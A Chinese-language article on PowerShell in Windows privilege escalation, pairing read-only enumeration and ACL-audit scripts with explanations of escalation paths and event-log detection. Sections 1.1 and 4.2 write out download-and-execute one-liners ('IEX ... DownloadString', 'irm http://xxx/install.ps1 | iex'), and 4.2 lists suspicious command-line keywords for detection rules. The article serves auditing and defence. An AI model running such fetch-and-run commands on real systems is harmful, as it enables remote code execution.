资讯动态

PowerShell在Windows权限提升中的应用与防御检测

发布时间:2026/9/25 7:49:17 来源:尧图企业网站定制
Windows环境下的权限提升是我在安全评估和系统加固工作中反复要面对的话题。无论是红队演练报告里的“普通域用户拿到SYSTEM权限”还是日常巡检发现的“某个第三方服务目录Everyone可写”背后几乎都能看到PowerShell脚本的影子。这篇文章结合我实际做评估的经验聊聊为什么PowerShell在提权场景里如此普及、提权之前应该收集哪些信息、常见提权路径背后的原理以及防御方怎么从日志和配置中提前发现这些风险。如果你是做渗透测试或者系统运维的同学这些内容应该能直接借鉴。1. 为什么Windows权限提升绕不开PowerShell1.1 系统自带、内存加载、绕过执行策略三个“便利”因素PowerShell从Windows 7时代开始就成为系统自带组件这意味着即使是一个全新安装的默认系统也不需要额外部署就能用它来做系统交互。对一个安全测试人员来说这一步就省掉了工具投递的麻烦。更为关键的是PowerShell底层直接对接.NET和CIM/WMI它可以非常方便地枚举服务、注册表、计划任务、文件权限这些恰恰是判断提权路径时最需要的信息。相比之下传统的外置工具还需要先上传到目标机器还要考虑被杀毒软件查杀的问题。执行策略不是真正的壁垒。默认情况下PowerShell的执行策略是Restricted双击运行.ps1脚本会被拦截。但用powershell -ep bypass -c 命令这种启动方式只在当前进程级别绕过限制既不需要修改系统设置也不会留下注册表痕迹。更常见的做法是通过反射把脚本加载到内存中执行比如用IEX (New-Object Net.WebClient).DownloadString(URL)从远程拉取脚本磁盘上不会生成脚本文件。这个特性对安全测试来说很方便但对防御方来说意味着不能单纯依赖“有没有恶意文件”来判定风险而要关注PowerShell进程本身的行为。1.2 多数提权成功案例其实是配置问题不是漏洞我在实际项目里看到的提权成功案例大多数并不是0day而是配置不当服务目录权限过宽、计划任务被低权限用户覆盖、备份软件以SYSTEM运行却允许普通用户控制配置。PowerShell在这场攻防里的角色相当于一个“放大镜加触发器”——它先帮助你快速定位这些配置弱点再通过几行脚本触发对应动作。所以这篇文章虽然叫“提权技巧”但真正的核心其实是学会用PowerShell看清系统当前的安全配置边界顺便把不合理的配置暴露出来。这也就是为什么我始终建议系统运维同学也掌握这些脚本化检测思路而不是只有安全人员才需要懂。1.3 PowerShell 2.0、乱码和兼容性实操中躲不开的细节还有一个实操中躲不开的问题是版本差异。Windows PowerShell 5.1和PowerShell 7pwsh.exe的行为并不完全一致老系统上甚至默认只有PowerShell 2.0而2.0不支持很多新语法。比如Invoke-WebRequest在5.1里有在2.0里就不是完整实现-ep bypass虽然在所有版本都有效但某些参数只有在特定版本才存在。另外在中文Windows上跑PowerShell命令有时会在控制台里看到乱码这通常和脚本文件的编码有关。解决方案很简单把.ps1脚本保存为UTF-8 with BOM或者脚本开头加一行[Console]::OutputEncoding [System.Text.Encoding]::UTF8。别小看这些细节我在现场见过有人因为乱码问题整整折腾了一下午最后发现只是编码没设置对。2. 提权前先摸家底PowerShell里的信息收集思路2.1 身份、Token和完整性级别提权的前提是搞清楚自己当前是什么身份。whoami /all可以看到当前用户、SID、所属组以及Token的有效权限这是最直接的一步。在Windows的完整性级别模型里普通用户进程通常是Medium管理员进程中选择了“以管理员身份运行”才是High系统服务进程是System。提权的本质就是从Medium往High或者System走。这里有个容易忽略的点被加入管理员组里的用户在UAC开启时默认并不是直接获得完整的High令牌而是先拿到一个过滤后的Medium令牌。攻击者如果本身就在管理员组里那么他要做的就不是“从零开始提权”而是“找回那个被过滤掉的管理员令牌”。这两种情况的难度完全不一样。whoami /groups里输出的完整性级别一栏能直接看到当前进程处于哪个级别。whoami /priv的输出里还有一堆Token特权Privilege其中几个对提权极其关键特权名称含义提权价值SeImpersonatePrivilege允许进程模拟任意客户端令牌极高Potato家族利用链的基础SeAssignPrimaryTokenPrivilege允许分配主令牌给进程极高结合模拟令牌使用SeDebugPrivilege允许调试其他进程可注入或读取进程令牌高能直接攻击高权限进程SeBackupPrivilege / SeRestorePrivilege允许读写任意文件和注册表键高可绕过ACL复制系统文件SeTakeOwnershipPrivilege允许获取对象所有权中等可接管受保护文件2.2 系统版本、补丁和配置信息一条条命令看价值很多人习惯先跑一遍systeminfo看补丁情况然后对照公开漏洞库。但我在实际测试中发现除非目标系统已经长时间没有更新否则靠公开漏洞打提权越来越不现实。更稳定的做法是同时收集配置类信息因为配置问题往往比补丁缺失更持久。下面这组命令是我常用的全部都是无副作用的系统查询本地跑不会有任何风险# 当前用户身份、组关系、Token特权 whoami /all # 系统版本、补丁、启动时间 systeminfo # 注册为服务且以高权限运行的第三方服务 Get-CimInstance Win32_Service | Where-Object { $_.StartName -match LocalSystem|NetworkService } | Select-Object Name, State, StartMode, StartName, PathName # 计划任务列表及运行权限 Get-ScheduledTask | Select-Object TaskName, State, TaskPath, Principal # 常见启动项 Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run每条命令的输出侧重点不同。服务列表关注的是“有没有以高权限运行、且可执行文件路径能被普通用户控制的第三方服务”计划任务关注的是“有没有以最高权限运行、却指向一个普通用户可写脚本的任务”启动项关注的是“登录时自动执行的内容有没有被污染的可能”。为什么强调第三方服务因为Windows自带服务的路径和权限通常受系统保护第三方软件安装后往往不会刻意收紧目录ACL。尤其是有自动更新器的那类软件默认目录经常是Everyone可写这类目标在提权场景里太常见了。2.3 一条实用的服务路径权限检测脚本服务路径权限是提权里最常见也最容易修的一类问题。我写过一个很小的检测逻辑先筛出以LocalSystem或NetworkService运行的第三方服务再逐个检查其启动程序所在目录的ACL是否允许普通用户写入。核心思路如下$services Get-CimInstance Win32_Service | Where-Object { $_.StartName -like *LocalSystem* -or $_.StartName -like *NetworkService* } | Where-Object { $_.PathName -ne $null } foreach ($svc in $services) { $path $svc.PathName.Trim() $dir Split-Path -Path $path -Parent if (-not (Test-Path $dir)) { continue } try { $acl Get-Acl -Path $dir foreach ($ace in $acl.Access) { if ($ace.FileSystemRights -match Write|Modify|FullControl -and $ace.IdentityReference -notmatch SYSTEM|Administrators|TrustedInstaller) { Write-Output 风险项: $($svc.Name) - $dir - $($ace.IdentityReference) } } } catch {} }注意这段脚本只能暴露“目录允许非管理员写入”这一项风险并不意味着一定可以被利用因为还需要确认服务启动账号、服务受保护状态等。但把它作为巡检脚本定期跑一遍价值非常高。我给客户做安全基线排查时就靠类似这段逻辑找出了不少隐患其中好几台服务器的第三方软件目录权限已经离谱到了“Everyone完全控制”的程度。2.4 信息收集阶段的经验笔记在这阶段有两个教训比较深刻。第一不要在收集信息阶段并行执行可能有副作用的尝试一定要分开。曾经有人在客户的服务器上边收集信息边尝试重启服务结果把正在跑业务的服务搞重启了这个责任很难承担。第二脚本输出要留好时间戳和主机标识评估报告全靠这些记录支撑。如果连哪个命令在哪个时间跑过都说不清楚后面写报告和复现都很麻烦。提示在客户环境里做评估先确认机器有没有开启PowerShell审计日志。开了也没关系但要知道你跑的每条命令都可能被记录到事件里这本身也是合规评估的一部分。3. 几条常见提权路径的脚本化检测3.1 服务目录权限与二进制替换早年间最经典的提权方式之一就是“在普通用户可写的目录上运行特权服务”。比如某软件把更新程序放在C:\Program Files\Vendor\Temp\update.exe注册为SYSTEM服务但Temp目录是Everyone完全控制。普通用户只需要把合法程序名备份后替换成自己的exe或bat等系统重启或者服务重启时替换后的程序就会以SYSTEM身份执行。这类问题的隐蔽性在于很多软件安装时会默认给目录加Authenticated Users写权限或者运维人员为了方便复制文件而临时放开权限后忘记收回。特别是带升级器的软件目录经常出现“普通用户可写”的现象。检测方法就是重复上一章的目录ACL扫描逻辑把范围从服务扩展出去。修复方式也很简单把程序目录的权限收紧到只有SYSTEM和Administrators可以写如果业务确实需要写入单独划分一个受控目录并做好权限隔离。另外还有一个老生常谈的话题服务路径未加引号。如果一个服务的PathName是C:\Program Files\Vendor\Sub dir\svc.exe且没有引号系统会尝试依次解析C:\Program.exe、C:\Program Files\Vendor\Sub.exe……如果其中任何一段路径可以被普通用户创建文件就有机会插入恶意可执行文件。现代Windows系统对路径解析做了不少改进但在某些边框条件里仍可能出现问题。检测时顺手看一圈服务PathName是否包含空格且未加引号成本非常低。3.2 计划任务与登录启动项的权限劫持计划任务能配置为“以最高权限运行”如果这个任务指向的脚本或程序由普通用户可写低权限用户就能改掉脚本内容实现任意命令执行。日志审计、杀毒软件的更新任务都曾是这类问题的重灾区。PowerShell里用Get-ScheduledTask能拿到任务列表和Principal关键检查点是任务指向的Action执行文件路径是否在普通用户可写目录。同理注册表Run键指向的脚本如果被低权限用户替换也会在用户登录时执行任意命令。这些路径的检测思路完全可以复用上一章的服务目录权限检查逻辑只不过对象从服务路径换成了计划任务Action的Executable路径和启动项路径。防御上除了收紧目录权限还建议把容易放脚本的下载目录、临时目录彻底排除出高权限任务的可信目录列表。3.3 令牌模拟SeImpersonatePrivilege的威力被低估whoami /priv输出里如果看到SeImpersonatePrivilege就要高度注意。这个Token特权本意是允许服务进程模拟客户端的身份常用于打印、数据库等需要身份认证的服务。但一旦当前进程拥有这个特权并且系统上存在可主动触发认证的服务攻击者就可能通过令牌模拟拿到SYSTEM令牌。Windows上著名的Potato系列利用链基本都建立在SeImpersonatePrivilege之上。现实中很多运行在IIS应用池、SQL Server实例下的服务账号默认带着这个特权所以这类问题触发的概率并不低。防御上重点不是直接去掉特权因为服务运行确实需要它。更现实的做法是不要给普通服务账号手动添加额外权限关闭不必要的打印和文件共享服务对运行在托管服务下的账号做最小权限改造通过EDR或行为监控关注Token模拟相关API的调用从检测角度来说令牌模拟行为的特征在于短时间内出现大量进程间Token操作和异常的网络回调这类行为用静态规则很难覆盖全但用行为监控能明显提高发现概率。3.4 UAC绕过不是提权而是“找回”管理员令牌UAC设计的目标是防止用户在不知情的情况下让系统变更生效它并不是一个堡垒级的隔离机制。如果当前用户本身属于本地Administrators组在UAC默认策略下他有多种方式可以触发“自动提权的程序”从而执行任意代码并获得管理员令牌。这就是常说的UAC绕过本质上不是跨过系统边界而是“拿回”被过滤掉的完整Token。正因如此微软官方也多次强调UAC不是安全边界。我在评估中看到的最大问题是不少团队把“开启了UAC”当成“已经做了管理员权限管控”这显然是误解。对防御来说要紧的不是研究UAC的绕过方式而是减少本地管理员组成员的数量。把真正需要管理员权限的人控制在很小的集合并确保这些账号启用强密码和多因素认证。同时在本地策略里开启对管理员组成员变化的审计每当组里出现新成员时第一时间告警。3.5 这些路径怎么串联成一套巡检逻辑把上面四类问题串起来就能形成一个简单的自动化巡检逻辑获取当前用户的Token特权列表标记高价值特权枚举高权限服务、计划任务和启动项逐一检查它们指向的文件目录ACL标记“普通用户可写”的所有启动路径检查本地Administrators组成员清单对比是否有多余账号这套逻辑不需要借助外部扫描器纯PowerShell加Get-Acl就能覆盖大部分提权场景。而且它同时具备安全评估和系统加固两种用途给客户做安全评估时它是一份风险清单给自己家服务器做巡检时它是一份加固待办。4. 提权行为怎么从日志里漏出来防御视角的检测思路4.1 PowerShell脚本块日志4104事件从PowerShell 5.0开始系统提供了脚本块日志Script Block Logging启用后PowerShell执行的脚本内容会记录到事件ID 4104。配合模块日志Event ID 4103能拿到相对完整的命令执行记录。启用方式在组策略里计算机配置→管理模板→Windows组件→Windows PowerShell→打开“PowerShell脚本块日志”。但切记开启了日志不等于万事大吉。攻击者完全可以通过混淆、拆分命令、配合编码等方式降低日志的可读性。不过4104仍然是蓝队还原现场最重要的依据。用PowerShell做提权测试的同学也要心里有数在客户环境里操作时提前确认有没有留痕、留痕到什么程度是基本的职业素养。4.2 进程创建与命令行审计4688系统审计策略里的“进程创建”事件4688如果开启每次进程启动都会记录下来再开启“进程命令行”后还能直接看到命令行参数。对提权检测来说这条日志的价值在于一旦看到powershell.exe后面带了-ep bypass、-enc、Invoke-Expression、FromBase64String这些参数基本可以判断有异常行为。尤其是常见的powershell -ep bypass -c irm http://xxx/install.ps1 | iex这种一行式下载执行脚本在4688事件里是非常明显的特征。建议在日志平台里针对powershell.exe的命令行参数做规则看到“bypass”和“远程下载”组合就提高告警级别。我在帮客户搭规则时还会叠加一个限定条件父进程是否为浏览器或Office套件。如果powershell.exe的父进程是Excel或浏览器这几乎可以直接判定为异常。4.3 服务、任务和注册表变更审计提权动作往往会落在某个系统配置变更上创建服务、修改计划任务、写入Run键。对应的事件ID包括服务安装4697、任务创建或修改4700/4701、注册表Run键变更4657需先开启注册表审计。把这些事件集中采集再与变更单和运维窗口做关联就能快速识别“非计划内的服务、任务、启动项变化”。多数提权工具为了维持权限会顺手留下一个自启动服务或计划任务。如果这些变更第一时间被监控捕捉到后续清除也会轻松很多。我见过一个案例攻击者和防守方僵持了很久最后防守方就是靠任务创建事件4700锁定了后门任务顺藤摸瓜抓到了完整入侵链路。4.4 监控规则设计要避开“告警疲劳”这里要泼一点冷水。很多安全团队搭了日志平台但真正响应告警的人并不多原因是规则粒度太粗导致告警爆炸。我见过最夸张的案例是把“IEX”直接设为高危告警关键词结果合法的运维脚本和产品安装脚本天天触发告警最后团队直接把相关告警静默了等于白配。合理的做法是组合条件告警。比如“bypass加远程下载加IEX”三要素齐全才真正告警单靠一个关键词出现就告警会把自己逼疯。告警规则设计的本质是“在误报和漏报之间找平衡”这需要结合自己环境里合法运维脚本的基线来调。先观察一个月的正常PowerShell使用情况再来定规则阈值效果会好很多。5. 授权测试要点和日常加固建议5.1 先明确授权再谈测试这部分必须说清楚任何对非自有系统的提权测试都需要明确的书面授权未经授权去扫描和利用系统配置弱点本身就有法律风险。哪怕是自己的服务器也建议先在隔离的测试环境里验证脚本和思路确认行为可预期后再接触生产系统。这个习惯不是保守是职业底线。在实际项目里我还会建议在测试前把PowerShell操作记录到单独的日志文件里包括执行时间、命令和输出摘要。这样一旦出现争议至少有一份完整的行为记录可以追溯。很多人忽略这个动作但出了事才知道它的价值。5.2 运维侧三件低成本高收益的事对运维同学建议做三件成本低但收益非常显著的事每月用脚本扫描一遍第三方服务的目录ACL和计划任务脚本权限找出“普通用户可写的高权限启动文件”然后直接交给对应应用负责人确认并修正权限。限制本地Administrators组成员数量清理离职和不再需要的账号。这不是安全团队一家的事运维必须参与因为很多计划任务和服务是用这些账号跑的。开启PowerShell脚本块日志和进程命令行审计并配合一个简单的SIEM规则。初期可以先不加任何自动化动作只做手工周检跑通流程后再逐步自动化。这三件事不需要购买任何商业产品靠系统自带能力和脚本就能完成见效却非常快。我在好几个客户那边推过类似的方案基本一两周就能看到明显的风险收敛。5.3 提权检测和系统加固其实是同一件事从某种意义上说提权技巧展示的是系统配置边界的薄弱点。越了解这些薄弱点越知道加固优先级应该排在哪里。不要把提权想成黑客专属技能它也是系统健康评估的一面镜子。当你用这套脚本化检测思路把自己负责的服务器都扫过一遍并修掉了所有“可写高权限服务”和“计划任务劫持”的风险点你的整体安全水位会比很多企业高出一大截。思想和工具都是现成的缺的只是周期性执行的动作。以我自己的项目经验来说最值得分享的技巧是不要只盯着漏洞库和补丁脚本而是周期性做权限面自检。用几段PowerShell查询把服务权限、任务权限、Token特权、管理员组成员情况摊在桌面上然后一项项收紧。这比等着被攻击者发现漏洞再补救要主动得多。也希望读到这里的同学是在授权合规的前提下使用这些思路把提权分析真正转化成对系统边界的理解和加固。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑